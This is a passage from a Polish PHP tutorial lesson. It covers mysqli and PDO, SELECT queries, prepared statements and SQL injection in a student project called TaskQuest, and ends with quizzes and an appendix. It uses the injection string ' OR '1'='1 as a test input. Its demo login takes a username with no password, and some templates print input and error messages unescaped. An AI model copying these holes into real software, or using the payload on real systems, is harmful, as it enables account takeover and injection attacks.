    while ($wiersz = $wynik->fetch_assoc()) {
        $zadania[] = new Zadanie(
            id: $wiersz['id'],
            tytul: $wiersz['tytul'],
            opis: $wiersz['opis'],
            termin: $wiersz['termin'],
            wykonane: $wiersz['data_wykonania'] !== null,
            xp: $wiersz['xp'],
        );
    }

    return $zadania;
}

function wczytajUzytkownika(mysqli $polaczenie, int $uzytkownikId): ?Uzytkownik
{
    $zapytanie = $polaczenie->prepare(
        'SELECT id, login, imie, xp, streak, data_ostatniej_aktywnosci FROM uzytkownicy WHERE id = ?'
    );
    $zapytanie->bind_param('i', $uzytkownikId);
    $zapytanie->execute();
    $wiersz = $zapytanie->get_result()->fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return new Uzytkownik(
        id: $wiersz['id'],
        login: $wiersz['login'],
        imieUzytkownika: $wiersz['imie'],
        xp: $wiersz['xp'],
        streak: $wiersz['streak'],
        dataOstatniejAktywnosci: $wiersz['data_ostatniej_aktywnosci'],
    );
}

function znajdzIdUzytkownika(mysqli $polaczenie, string $login): ?int
{
    $zapytanie = $polaczenie->prepare('SELECT id FROM uzytkownicy WHERE login = ?');
    $zapytanie->bind_param('s', $login);
    $zapytanie->execute();
    $wiersz = $zapytanie->get_result()->fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return $wiersz['id'];
}

function pobierzRanking(mysqli $polaczenie, int $limit): array
{
    $zapytanie = $polaczenie->prepare('SELECT login, xp FROM uzytkownicy ORDER BY xp DESC, login LIMIT ?');
    $zapytanie->bind_param('i', $limit);
    $zapytanie->execute();

    return $zapytanie->get_result()->fetch_all(MYSQLI_ASSOC);
}

classes/Uzytkownik.php — zmiany

• nowa pierwsza właściwość private int $id;,
• private ?string $dataOstatniejAktywnosci; (było string),
• konstruktor: __construct(int $id, string $login, string $imieUzytkownika, int $xp, int $streak, ?string $dataOstatniejAktywnosci), pierwsza linia ciała $this->id = $id;,
• nowa metoda pobierzId(): int (pod konstruktorem),
• metoda aktualizujStreak(bool $zadanieWykonane): void — na początku ciała if ($this->dataOstatniejAktywnosci === null) { return; } (kod w kroku 4).

Pozostałe metody bez zmian.

includes/funkcje_sesji.php — czyZalogowany()

function czyZalogowany(): bool
{
    return isset($_SESSION['uzytkownik_id']);
}

includes/funkcje_tekstowe.php — walidujDaneLogowania()

function walidujDaneLogowania(string $login): array
{
    $bledy = [];

    if (!walidujLogin($login)) {
        $bledy[] = 'Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.';
    }

    return $bledy;
}

zaloguj.php — część PHP (cała, do dołączenia header.php)

<?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}

$login = '';
$bledy = [];
$bladBazy = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST['login'] ?? '');
    $bledy = walidujDaneLogowania($login);

    if ($bledy === []) {
        try {
            $polaczenie = polaczZBaza();
            $uzytkownikId = znajdzIdUzytkownika($polaczenie, $login);

            if ($uzytkownikId === null) {
                $bledy[] = 'Nie ma użytkownika o takim loginie.';
            } else {
                session_regenerate_id(true);
                $_SESSION['uzytkownik_id'] = $uzytkownikId;
                ustawKomunikat('Zalogowano. Powodzenia w zadaniach!');
                header('Location: index.php');
                exit;
            }
        } catch (Exception $wyjatek) {
            $bladBazy = $wyjatek->getMessage();
        }
    }
}

$nazwaStrony = 'Logowanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';

część HTML (cała, od końca części PHP do końca pliku)

Wklej bezpośrednio pod linią require_once __DIR__ . '/includes/header.php';. Obie części razem to cały plik `zaloguj.php

?>

<h2>Logowanie</h2>
<p>Wersja demonstracyjna: podaj login konta zapisanego w bazie — bez hasła.</p>

<?php if ($bledy !== []) { ?>
    <div class="blad">
        <p>Popraw formularz:</p>
        <ul>
            <?php foreach ($bledy as $blad) { ?>
                <li><?= $blad; ?></li>
            <?php } ?>
        </ul>
    </div>
<?php } ?>

<?php if ($bladBazy !== null) { ?>
    <p class="blad">Nie udało się zalogować: <?= $bladBazy; ?></p>
<?php } ?>

<form method="post" action="zaloguj.php">
    <label for="login">Login</label>
    <input type="text" id="login" name="login" maxlength="20" required value="<?= $login; ?>">

    <button type="submit">Wejdź do TaskQuest</button>
</form>

<?php require_once __DIR__ . '/includes/footer.php'; ?>

index.php — zmiany

1. require_once pliku includes/funkcje_plikow.php zastąpione require_once __DIR__ . '/includes/funkcje_bazy.php';.
2. Bloki „dane użytkownika” (new Uzytkownik(...) z wartościami symulowanymi) i „dane zadań” (try/catch z wczytajZadania(PLIK_ZADAN)) zastąpione blokiem:

// --- dane z bazy: zalogowany użytkownik, jego zadania i ranking ---
$uzytkownik = null;
$zadania = [];
$ranking = [];
$bladBazy = null;

try {
    $polaczenie = polaczZBaza();
    $uzytkownik = wczytajUzytkownika($polaczenie, $_SESSION['uzytkownik_id']);

    if ($uzytkownik !== null) {
        $zadania = wczytajZadaniaUzytkownika($polaczenie, $uzytkownik->pobierzId());
        $ranking = pobierzRanking($polaczenie, 3);
    }
} catch (Exception $wyjatek) {
    $bladBazy = $wyjatek->getMessage();
}

// --- awaria bazy: bez danych gracza nie ma czego pokazać ---
if ($bladBazy !== null) {
    $nazwaStrony = 'TaskQuest';
    require_once __DIR__ . '/includes/header.php';
    echo "<p class=\"blad\">Nie udało się wczytać danych: $bladBazy</p>";
    require_once __DIR__ . '/includes/footer.php';
    exit;
}

// --- konto usunięte z bazy, a sesja jeszcze istnieje ---
if ($uzytkownik === null) {
    unset($_SESSION['uzytkownik_id']);
    header('Location: zaloguj.php');
    exit;
}

3. Wszystko od bloku wywołań (listy, liczniki, $zadanieWykonane, metody grywalizacji, streak) do komunikatu jednorazowego — bez zmian.
4. Prezentacja: usunięty link „+ Dodaj zadanie”, usunięte if ($bladZadan !== null) { ... } else { wraz z zamknięciem (zawartość gałęzi else zostaje), na końcu panelu dodana sekcja:

<h2>Najlepsi gracze</h2>
<ol>
    <?php foreach ($ranking as $gracz) { ?>
        <li><?= $gracz['login']; ?> — <?= $gracz['xp']; ?> XP (poziom <?= obliczPoziom($gracz['xp']); ?>)</li>
    <?php } ?>
</ol>

diagnostyka.php

W $wymaganePliki dopisane 'includes/funkcje_bazy.php' (razem 19 ścieżek). Reszta bez zmian.

includes/footer.php

        <p>TaskQuest 1.8</p>
    </div>
</body>
</html>

10. Co zmieniliśmy w TaskQuest?

Zostaje

klasa Zadanie (bez zmian), wszystkie funkcje listy, grywalizacji, terminów, walidujLogin(), wyczyscTytul(), skrocOpis()
index.php: liczniki, filtr widoku + cookie, pasek XP, komunikat jednorazowy, lista z .po-terminie
sesja, session_regenerate_id(), wyloguj.php, wymagajLogowania(), ustawKomunikat(), pobierzKomunikat()
baza taskquest i sql/taskquest.sql (bez zmian)
dodaj-zadanie.php, data/zadania.csv, wczytajZadania(), zapiszZadania(), sprawdzWierszZadania(), PLIK_ZADAN
    — zostają do Lekcji 19 (formularz nadal zapisuje do CSV; wyłączony z nawigacji)
$zadanieWykonane — nadal uproszczenie (prawdziwy streak w L19)

Dochodzi

config.php:           BAZA_HOST, BAZA_UZYTKOWNIK, BAZA_HASLO, BAZA_NAZWA
includes/funkcje_bazy.php:
    polaczZBaza(): mysqli
    wczytajZadaniaUzytkownika(mysqli, int): array        — tablica obiektów Zadanie
    wczytajUzytkownika(mysqli, int): ?Uzytkownik
    znajdzIdUzytkownika(mysqli, string): ?int
    pobierzRanking(mysqli, int): array                   — wiersze ['login', 'xp']
Uzytkownik: właściwość id, pobierzId()
$_SESSION['uzytkownik_id']
index.php: $bladBazy, $ranking, sekcja „Najlepsi gracze”
zaloguj.php: $bladBazy, $uzytkownikId

Nowe narzędzia: SQL SELECT kolumny FROM ... WHERE ... AND ... IS NULL ... ORDER BY ... DESC ... LIMIT; mysqli_report(), new mysqli(...), set_charset(), query(), prepare(), bind_param(), execute(), get_result(), fetch_assoc(), fetch_all(MYSQLI_ASSOC), num_rows; typy ?string, ?int, ?Klasa; pojęcie SQL injection.

Zmieniamy

• Uzytkownik: dataOstatniejAktywnosci typu ?string; konstruktor z id na początku; aktualizujStreak() nic nie robi, gdy data to null,
• czyZalogowany(): sprawdza uzytkownik_id,
• walidujDaneLogowania(): jeden parametr (login),
• zaloguj.php: login musi istnieć w bazie; formularz bez imienia,
• index.php: dane z bazy, obsługa awarii bazy i usuniętego konta, bez linku do formularza, ranking,
• diagnostyka.php: 19 plików; stopka 1.8.

Usuwamy

Co	Dlaczego
wartości symulowane xp: 99, streak: 5, dataOstatniejAktywnosci: '2026-09-14' w index.php	dane gracza są w bazie; te same wartości ma Kama w taskquest.sql
$bladZadan i owinięcie sekcji zadań w if/else	awarię bazy obsługuje $bladBazy dla całej strony
$_SESSION['login'], $_SESSION['imie']	kopie danych z bazy mogłyby się rozjechać; w sesji tylko identyfikator
pole „imię” w formularzu logowania i $imieUzytkownika w zaloguj.php	imię jest w bazie; użytkownik nie „deklaruje” go przy logowaniu
reguły imienia w walidujDaneLogowania()	j.w.
dołączanie funkcje_plikow.php w index.php	strona główna nie czyta CSV
link „+ Dodaj zadanie” (tymczasowo)	formularz zapisuje do CSV — zadanie nie pojawiłoby się na liście; wraca w L19

Co nowego potrafi TaskQuest po tej lekcji?

Po Lekcji 18 TaskQuest łączy się z bazą danych i czyta z niej wszystko, co pokazuje na stronie głównej. Logowanie sprawdza, czy konto istnieje. Każdy użytkownik widzi własne imię, XP, poziom, streak i wyłącznie własne zadania, a ranking pokazuje trzech najlepszych graczy. Wszystkie zapytania z danymi z zewnątrz są odporne na SQL injection dzięki prepared statements. Gdy baza nie działa, użytkownik dostaje czytelny komunikat zamiast błędu PHP.

11. Zadania końcowe — rozbuduj TaskQuest samodzielnie

Nie są częścią wersji referencyjnej.

A. Wyszukiwarka zadań. Nad listą zadań formularz method="get" z polem szukaj. Po wysłaniu lista pokazuje tylko zadania zalogowanego użytkownika, których tytuł zawiera wpisany tekst. Nowa funkcja szukajZadanUzytkownika(mysqli $polaczenie, int $uzytkownikId, string $fraza): array z warunkiem WHERE uzytkownik_id = ? AND tytul LIKE ?. Znaki % wokół frazy dodaj w PHP przed bind_param() ('%' . $fraza . '%'), nie w tekście zapytania. Przetestuj frazy: PHP, php (czy wielkość liter ma znaczenie? dlaczego?), ' OR '1'='1, pusty tekst. Pytanie dodatkowe: co znajdzie fraza %? Czy to błąd bezpieczeństwa, czy tylko niespodzianka?

B. Statystyki liczone przez bazę. Jednym zapytaniem pobierz dla zalogowanego użytkownika liczbę aktywnych zadań i sumę ich XP: SELECT COUNT(*) AS liczba, SUM(xp) AS suma FROM zadania WHERE uzytkownik_id = ? AND data_wykonania IS NULL. Wyświetl obok liczników z PHP i sprawdź, czy wyniki są równe $liczbaAktywnych i $xpDoZdobycia. Co zwraca SUM(xp), gdy aktywnych zadań nie ma (zaloguj się jako użytkownik bez zadań z Testu 8)? Kiedy liczenie w bazie jest lepsze niż w PHP?

C. Moje miejsce w rankingu. Pod rankingiem: „Twoje miejsce: N”. Podpowiedź: miejsce to liczba graczy z większym XP plus 1 (SELECT COUNT(*) ... WHERE xp > ?). Dodatkowo wyróżnij (<strong>) wiersz zalogowanego użytkownika w rankingu. Jak potraktujesz dwóch graczy z równym XP?

Sprzątanie

1. Usuń brudnopis.php.
2. Sprawdź, że przywrócone są: tytul w zapytaniu, BAZA_HASLO = '', throw new Exception(...) w polaczZBaza(), WHERE uzytkownik_id = ? i bind_param() (Eksperymenty 3–5).
3. Uruchom ponownie sql/taskquest.sql.
4. Zaloguj się jako Kama i jako Ola — Testy 1 i 2 mają przechodzić.

Do samodzielnego sprawdzenia

[ ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
[ ] Potrafię napisać SELECT z wybranymi kolumnami, WHERE, AND, IS NULL, ORDER BY i LIMIT.
[ ] Wiem, dlaczego WHERE data_wykonania = NULL zwraca zero wierszy.
[ ] Potrafię połączyć się z bazą obiektem mysqli i wiem, co robi mysqli_report(...STRICT).
[ ] Rozróżniam $polaczenie, $zapytanie, $wynik i $wiersz.
[ ] Potrafię pokazać na przykładzie, na czym polega SQL injection.
[ ] Potrafię napisać prepared statement z jednym i z dwoma parametrami (typy s, i).
[ ] Wiem, dlaczego z prepared statementu id przychodzi jako int, a z query() jako tekst.
[ ] Potrafię zamienić wiersz z bazy w obiekt Zadanie / Uzytkownik.
[ ] Wiem, co znaczy ?string i dlaczego Uzytkownik go potrzebuje.
[ ] Wiem, dlaczego w sesji jest tylko uzytkownik_id.
[ ] Kama i Ola widzą po zalogowaniu swoje dane; ranking działa.
[ ] Przy wyłączonej bazie TaskQuest pokazuje komunikat, a nie błąd PHP.
[ ] Usunęłam/usunąłem brudnopis.

Pytania kontrolne

Co zwróci każde zapytanie (liczba wierszy), gdy w bazie są tylko dane testowe z taskquest.sql?

SELECT tytul FROM zadania WHERE uzytkownik_id = 2 AND data_wykonania IS NOT NULL;
SELECT login FROM uzytkownicy ORDER BY xp LIMIT 1;
SELECT tytul FROM zadania WHERE data_wykonania = NULL;

Kolega napisał: $polaczenie->query("SELECT id FROM uzytkownicy WHERE login = '$login'") i twierdzi, że to bezpieczne, bo $login przeszedł walidujLogin(). Czy ma rację w tym jednym miejscu? Dlaczego mimo to w TaskQuest tak nie piszemy?

Znajdź dwa błędy:

$zapytanie = $polaczenie->prepare('SELECT id, tytul FROM zadania WHERE uzytkownik_id = ? AND termin < ?');
$zapytanie->bind_param('i', $uzytkownikId, $dzisiaj);
$zapytanie->execute();
while ($wiersz = $zapytanie->fetch_assoc()) { ... }

wczytajUzytkownika($polaczenie, 7) zwraca null. Czy to awaria? Czym ta sytuacja różni się od wyłączonego serwera MySQL i jak każdą z nich obsługuje index.php?

Dlaczego polaczZBaza() łapie wyjątek i rzuca nowy z innym komunikatem, a wczytajZadaniaUzytkownika() nie łapie niczego?

W sesji jest tylko uzytkownik_id. Nauczycielka zmienia w phpMyAdmin imię ucznia. Kiedy uczeń zobaczy nowe imię — i jak byłoby, gdyby imię nadal było w sesji?

Dlaczego właściwość dataOstatniejAktywnosci ma typ ?string, a login zwykły string? Wskaż kolumny w taskquest.sql, które o tym decydują.

Ranking zwraca tablice ['login' => ..., 'xp' => ...], a wczytajUzytkownika() obiekt Uzytkownik. Dlaczego ta różnica jest uzasadniona? Skąd ranking bierze poziom gracza, skoro w zapytaniu go nie ma?

Bez WHERE uzytkownik_id = ? Ola widzi zadania Kamy (Eksperyment 5). Czy prepared statement chroni przed tym błędem? Czym ten błąd różni się od SQL injection?

Przy wyłączonym MySQL diagnostyka.php pokazuje 19 × [OK]. Czy diagnostyka powinna sprawdzać połączenie z bazą? Podaj argument za i przeciw (wskazówka: zasada z Lekcji 10 i miejsce, w którym są dane dostępowe).

PODSUMOWANIE LEKCJI

W skrócie

Cztery różne rzeczy, których nie wolno mylić:

$polaczenie   obiekt mysqli            — połączenie z serwerem
$zapytanie    obiekt mysqli_stmt       — przygotowane polecenie (prepare)
$wynik        obiekt mysqli_result     — zbiór wierszy do odczytania
$wiersz       tablica asocjacyjna      — jeden wiersz; null, gdy wierszy już nie ma

Metody nie są wymienne: num_rows i fetch_assoc() należą do wyniku, bind_param() i execute() do zapytania, prepare() i set_charset() do połączenia.

SQL:

• Kolejność klauzul jest stała: SELECT ... FROM ... WHERE ... ORDER BY ... LIMIT. Zamiana miejscami = błąd składni.
• Do NULL tylko IS NULL / IS NOT NULL. = NULL zwraca zero wierszy bez żadnego błędu — to najtrudniejszy do znalezienia z tych błędów.
• Wymieniaj kolumny zamiast SELECT * — nie przeciągasz do PHP danych, których nie potrzebujesz (np. haslo_hash).
• Zero wierszy to poprawny wynik, nie awaria. Awaria to brak połączenia albo błąd składni.

Bezpieczeństwo:

• Każda wartość pochodząca z zewnątrz ($_GET, $_POST, cookie, sesja) trafia do zapytania tylko przez prepared statement. Sklejanie "... = '$login'" jest zakazane.
• Walidacja to pierwsza linia obrony, nie zabezpieczenie zapytania. Zapytanie ma być bezpieczne samo z siebie.
• Przez ? / :nazwa przekazujesz wartości, nigdy nazw tabel, nazw kolumn ani kierunku sortowania. Tam działa wyłącznie whitelist (in_array() + wartość domyślna).
• Prepared statement chroni przed SQL injection, ale nie przed brakiem WHERE uzytkownik_id = ?. Cudze dane pokazane właściwemu zapytaniu to błąd logiki, nie podatności.
• htmlspecialchars() przy wyświetlaniu — to osobna ochrona (XSS), niezależna od prepared statements.

Szczegóły, które zaskakują:

• query() zwraca kolumny INT jako teksty, prepared statement (get_result()) — jako int. Daty zawsze jako tekst RRRR-MM-DD, NULL jako null.
• bind_param() przyjmuje zmienne, nie wartości: bind_param('i', 5) kończy się błędem.
• Liczba liter w typach musi być równa liczbie znaków ?.
• Znaki % przy LIKE dodajesz w PHP do zmiennej, nie do tekstu zapytania.
• W PDO liczbę wierszy zwróconych przez SELECT liczymy przez count($wyniki) po fetchAll(), a fetch() po ostatnim wierszu zwraca false (w mysqli fetch_assoc() zwraca null).

Co trzeba umieć na INF.03?

• połączyć skrypt z bazą na warunkach podanych w arkuszu: localhost, użytkownik root bez hasła, wskazana nazwa bazy;
• zamknąć połączenie na końcu skryptu — arkusz wymienia to jako osobne wymaganie wobec skryptów, więc brak zamknięcia to strata punktu, mimo że PHP zamyka połączenie sam;
• napisać SELECT z wybranymi kolumnami i warunkiem WHERE (arkusz: „wybierające jedynie pola idObiekt, panstwo, nazwa, wartoscCechy … dla idRodzaj = 10 i idKontynent = 6”) i zapisać zapytania w pliku tekstowym;
• wypełnić tabelę HTML wierszami z bazy — pętla po wyniku, w każdym obrocie jeden <tr> z komórkami z kolejnych pól;
• wypełnić listę rozwijaną danymi z bazy — <option value="idTurysta">nick</option> dla każdego wiersza;
• wygenerować odnośniki z parametrem GET na podstawie wyniku zapytania (index.php?idKontynent=6) i odebrać ten parametr z wartością domyślną, gdy go nie ma;
• rozpoznać w arkuszu tabelę funkcji mysqli_connect, mysqli_query, mysqli_fetch_row, mysqli_fetch_array, mysqli_num_rows, mysqli_num_fields, mysqli_error, mysqli_close, isset i umieć z niej skorzystać.

Minimum, które powinno wejść w pamięć

Jeżeli masz zapamiętać tylko kilka rzeczy z tej lekcji, zapamiętaj te:

1. SELECT kolumny FROM tabela WHERE warunek ORDER BY kolumna LIMIT n — kolejność stała.
2. IS NULL / IS NOT NULL. = NULL zawsze daje zero wierszy i nie zgłasza błędu.
3. Schemat obiektowy: new mysqli(...) → prepare('... WHERE x = ?') → bind_param('i', $x) → execute() → get_result() → while ($wiersz = $wynik->fetch_assoc()).
4. Typy w bind_param(): s tekst, i liczba całkowita, d liczba z przecinkiem. Tyle liter, ile znaków ?, w tej samej kolejności.
5. ? zastępuje wartość. Nazwa kolumny w ORDER BY idzie przez whitelistę.
6. Dane z formularza lub adresu nigdy nie są doklejane do tekstu zapytania.
7. fetch_assoc() zwraca kolejny wiersz albo null — dlatego działa while ($wiersz = ...).
8. Przy wyświetlaniu danych z bazy: htmlspecialchars().
9. Na egzaminie: localhost, root, bez hasła, na końcu zamknięcie połączenia.

Ściągawka – najważniejsze polecenia i składnia

Połączenie — obiektowo, błędy jako wyjątki (styl TaskQuest)

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$polaczenie = new mysqli('localhost', 'root', '', 'nazwa_bazy');
$polaczenie->set_charset('utf8mb4');
// ...
$polaczenie->close();

Połączenie — obiektowo, błąd sprawdzany warunkiem (styl z części teoretycznej)

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'nazwa_bazy');
if ($db->connect_error) { die("Błąd połączenia: {$db->connect_error}"); }

Połączenie — PDO

$pdo = new PDO("mysql:host=localhost;dbname=nazwa_bazy;charset=utf8mb4", 'root', '', [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   => false,
]);
$pdo = null;   // zamknięcie

SELECT

SELECT tytul, termin FROM zadania
WHERE uzytkownik_id = 1 AND data_wykonania IS NULL
ORDER BY termin DESC
LIMIT 10;

Odczyt wyniku — mysqli

$zapytanie = $polaczenie->prepare('SELECT id, tytul FROM zadania WHERE uzytkownik_id = ?');
$zapytanie->bind_param('i', $uzytkownikId);
$zapytanie->execute();
$wynik = $zapytanie->get_result();

echo $wynik->num_rows;
while ($wiersz = $wynik->fetch_assoc()) {
    echo htmlspecialchars($wiersz['tytul']);
}
$zapytanie->close();

Odczyt wyniku — PDO

$stmt = $pdo->prepare('SELECT id, tytul FROM zadania WHERE uzytkownik_id = :id');
$stmt->execute(['id' => $uzytkownikId]);

$wiersze = $stmt->fetchAll();     // wszystkie naraz -> count($wiersze)
$wiersz  = $stmt->fetch();        // po jednym; false, gdy koniec

Dwa parametry, LIKE, LIMIT, agregacje

$zapytanie = $polaczenie->prepare('SELECT id FROM zadania WHERE uzytkownik_id = ? AND tytul LIKE ?');
$fraza = '%' . $szukane . '%';                 // % w PHP, nie w SQL
$zapytanie->bind_param('is', $uzytkownikId, $fraza);

$stmt->bindValue(':limit', $limit, PDO::PARAM_INT);   // LIMIT w PDO wymaga typu

SELECT COUNT(*) AS liczba, SUM(xp) AS suma, AVG(xp) AS srednia, MAX(xp) AS maks
FROM zadania WHERE uzytkownik_id = 1;

Whitelist dla sortowania

$sort = $_GET['sort'] ?? 'xp';
$dozwolone = ['xp', 'login', 'streak'];
if (!in_array($sort, $dozwolone)) { $sort = 'xp'; }
$sql = "SELECT login, xp FROM uzytkownicy ORDER BY {$sort} DESC";

Mapowanie: zapis obiektowy funkcje z arkusza egzaminacyjnego

mysqli_fetch_array() domyślnie zwraca klucze i numeryczne, i tekstowe (MYSQLI_BOTH) — stąd w arkuszu działa zarówno $w['nazwa'], jak i $w[1].

Quiz – sprawdź się

1. Ile wierszy zwróci każde zapytanie, jeżeli w tabeli zadania są 4 wiersze Kamy (w tym 1 wykonane) i 1 wiersz Oli (niewykonany)?SELECT tytul FROM zadania WHERE uzytkownik_id = 1 AND data_wykonania IS NULL;
SELECT tytul FROM zadania WHERE data_wykonania = NULL;
SELECT tytul FROM zadania ORDER BY termin LIMIT 2;


2. Dlaczego to zapytanie nie zadziała i jak je poprawić?SELECT login FROM uzytkownicy ORDER BY xp DESC WHERE xp > 100;


3. Co jest źle?$zapytanie = $polaczenie->prepare("SELECT id FROM uzytkownicy WHERE login = '?'");
$zapytanie->bind_param('s', $login);


4. Znajdź dwa błędy:$zapytanie = $polaczenie->prepare('SELECT id, tytul FROM zadania WHERE uzytkownik_id = ? AND xp > ?');
$zapytanie->bind_param('i', $uzytkownikId, $minimumXp);
$zapytanie->execute();
while ($wiersz = $zapytanie->fetch_assoc()) { echo $wiersz['tytul']; }


5. Co wypisze ten kod, jeżeli zapytanie zwróci 3 wiersze?$wynik = $polaczenie->query('SELECT login FROM uzytkownicy');
$ile = 0;
while ($wiersz = $wynik->fetch_assoc()) { $ile++; }
echo $ile + $wynik->num_rows;


6. Użytkownik wpisuje w wyszukiwarkę ' OR '1'='1. Wersja A używa query() ze sklejonym tekstem, wersja B prepared statement. Ile wierszy zwróci każda i dlaczego?

7. Uzupełnij tak, aby znaleźć zadania użytkownika o id = 3, których tytuł zawiera słowo wpisane w $szukane:$zapytanie = $polaczenie->prepare('SELECT tytul FROM zadania WHERE uzytkownik_id = ? AND tytul LIKE ?');
$fraza = ______________;
$zapytanie->bind_param(______, $id, $fraza);


8. Kolega chce pozwolić użytkownikowi wybrać kolumnę sortowania i pisze:$zapytanie = $polaczenie->prepare('SELECT login, xp FROM uzytkownicy ORDER BY ?');
$zapytanie->bind_param('s', $_GET['sort']);
Czy to jest bezpieczne? Czy to zadziała? Jak zrobić to poprawnie?

9. Ten sam wiersz odczytany raz przez query(), raz przez prepared statement. Co pokaże var_dump($wiersz['xp']) w każdym przypadku i skąd ta różnica?

10. wczytajUzytkownika($polaczenie, 7) zwraca null, bo użytkownika o takim id nie ma. Czy skrypt powinien rzucić wyjątek? Uzasadnij.

11. Który fragment jest niebezpieczny i jaki to typ podatności?// A
$stmt = $polaczenie->prepare('SELECT imie FROM uzytkownicy WHERE id = ?');
$stmt->bind_param('i', $id);
$stmt->execute();
$wiersz = $stmt->get_result()->fetch_assoc();
echo "Cześć, {$wiersz['imie']}!";

// B
$imie = $_POST['imie'];
echo "Cześć, " . htmlspecialchars($imie) . "!";


12. Zadanie praktyczne (schemat egzaminacyjny). Napisz skrypt, który: łączy się z bazą wodospady (localhost, root, bez hasła), pobiera idObiekt, panstwo, nazwa z tabeli obiekty dla idKontynent przesłanego metodą GET (domyślnie 6), wypisuje każdy rekord jako wiersz tabeli HTML i na końcu zamyka połączenie. Wypisz sam szkielet PHP, bez stylów.

Artykuł 18. PHP – łączenie z bazą i operacje SELECT pochodzi z serwisu Kama Kaczmarek.

Lekcja 15: klasy i obiekty. Odpowiedz bez uruchamiania kodu.

1. Co wyświetli ten kod?

class Licznik
{
    private int $wartosc = 0;

    public function zwieksz(): void
    {
        $wartosc++;
    }

    public function pobierz(): int
    {
        return $this->wartosc;
    }
}

$licznik = new Licznik();
$licznik->zwieksz();
$licznik->zwieksz();
echo $licznik->pobierz();

2. Zadanie ma właściwość private string $tytul i metodę pobierzTytul(). Co się stanie po wykonaniu echo $zadanie->tytul;?

3. Czy ten kod utworzy poprawny obiekt? Dlaczego?

$zadanie = new Zadanie(tytul: 'SQL', id: 7, opis: '', termin: '2026-10-01', wykonane: false, xp: 20);

4. Co wyświetli ostatnia linia, jeśli $kama ma 99 XP?

$ktos = $kama;
$ktos->dodajXp(10);
echo $kama->pobierzXp();

5. Co wyświetli ten kod, jeśli $uzytkownik ma 99 XP?

try {
    $uzytkownik->dodajXp(-5);
} catch (Exception $wyjatek) {
    echo 'Błąd: ' . $wyjatek->getMessage();
}

echo ' XP: ' . $uzytkownik->pobierzXp();

6. Znajdź błąd. Metoda się wykonuje, nie ma komunikatu, a XP użytkownika się nie zmienia.

public function dodajXp(int $xp): void
{
    $this->xp + $xp;
}

7. Podaj dwie różnice między klasą abstrakcyjną a interfejsem.

TaskQuest

Dodatek

Sposoby komunikacji z bazą danych

W historii PHP istniały 3 sposoby łączenia się z bazą MySQL:

1. mysql (stare rozszerzenie) – USUNIĘTE

• Zdeprecjonowane: PHP 5.5.0 (2013)
• Całkowicie usunięte: PHP 7.0.0 (2015)
• Funkcje: mysql_connect(), mysql_query() itp.
• Status: NIE UŻYWAJ – nie działa w nowoczesnych wersjach PHP

2. MySQLi (MySQL Improved) – AKTYWNE

MySQLi to wersja poprawiona i aktualna wycofanej od PHP7 biblioteki mysql.

Cechy MySQLi:

• Może być stosowane w podejściu proceduralnym i obiektowym
• Współpracuje tylko z bazami MySQL/MariaDB
• Wspiera prepared statements (ochrona przed SQL Injection)
• Obsługuje transakcje
• Dostępne w PHP 5, 7, 8 i nowszych

Kiedy używać MySQLi:

• Gdy na pewno będziesz używać tylko MySQL/MariaDB
• Gdy pracujesz ze starszym kodem proceduralnym
• Gdy potrzebujesz specyficznych funkcji MySQL

3. PDO (PHP Data Objects) – AKTYWNE

PDO to rozszerzenie w pełni obiektowe, które współpracuje z wieloma silnikami bazy danych, nie tylko MySQL.

Cechy PDO:

• Uniwersalny interfejs dla różnych baz danych (MySQL, PostgreSQL, SQLite, Oracle, MS SQL Server…)
• Tylko tryb obiektowy
• Named parameters (:nazwa) – bardziej czytelne zapytania
• Prepared statements domyślnie
• Łatwa zmiana bazy danych bez przepisywania kodu

Kiedy używać PDO:

• Dla większości nowych projektów (zalecane!)
• Gdy planujesz możliwość zmiany bazy danych w przyszłości
• Gdy budujesz uniwersalną aplikację
• Gdy preferujesz czysty kod obiektowy

PDO vs MySQLi – Porównanie

Rekomendacja: Dla nowych projektów zalecamy PDO ze względu na uniwersalność i czytelność kodu.

MySQL i MariaDB

RDBMS (Relational Database Management System)

RDBMS to system zarządzania relacyjnymi bazami danych – dane przechowywane są w tabelach, które mogą być ze sobą powiązane relacjami (np. użytkownik → posty, gracz → statystyki).

MySQL i MariaDB są właśnie takimi systemami.

Historia i różnice

MySQL:

• Stworzony w 1995 roku
• Od 2010 roku należy do Oracle Corporation
• Najpopularniejszy system open-source do zarządzania bazami danych
• Używany przez: Facebook, Twitter, YouTube, Wikipedia

MariaDB:

• Fork MySQL utworzony w 2009 roku przez oryginalnych twórców MySQL
• Powstała jako alternatywa po przejęciu MySQL przez Oracle
• Licencja: GPL (w pełni open-source)
• Kompatybilna z MySQL (drop-in replacement do wersji 5.5)
• Szybszy rozwój i częstsze aktualizacje
• Oferuje lepsze silniki obsługi pamięci masowej (Aria, ColumnStore, MyRocks)

Co wybrać?

Oba rozwiązania są darmowe i świetnie sprawdzają się w nauce i projektach komercyjnych.

MySQL – jeśli:

• Pracujesz z narzędziami/aplikacjami wymagającymi MySQL
• Potrzebujesz wsparcia komercyjnego od Oracle
• Używasz starszej dokumentacji/tutoriali

MariaDB – jeśli:

• Zależy Ci na pełnej otwartości (GPL)
• Chcesz nowsze funkcje i szybsze aktualizacje
• Budujesz nowy projekt

Dla nauki: Oba systemy są prawie identyczne w użyciu – składnia SQL jest taka sama, więc nauka na jednym oznacza umiejętność pracy z drugim.

Więcej o tych dwóch systemach możecie przeczytać na stronie: https://hostclub.pl/mariadb-vs-mysql-porownanie-baz-danych/

Podstawowe pojęcia

Zanim przejdziemy do łączenia z bazą, poznaj kluczowe pojęcia:

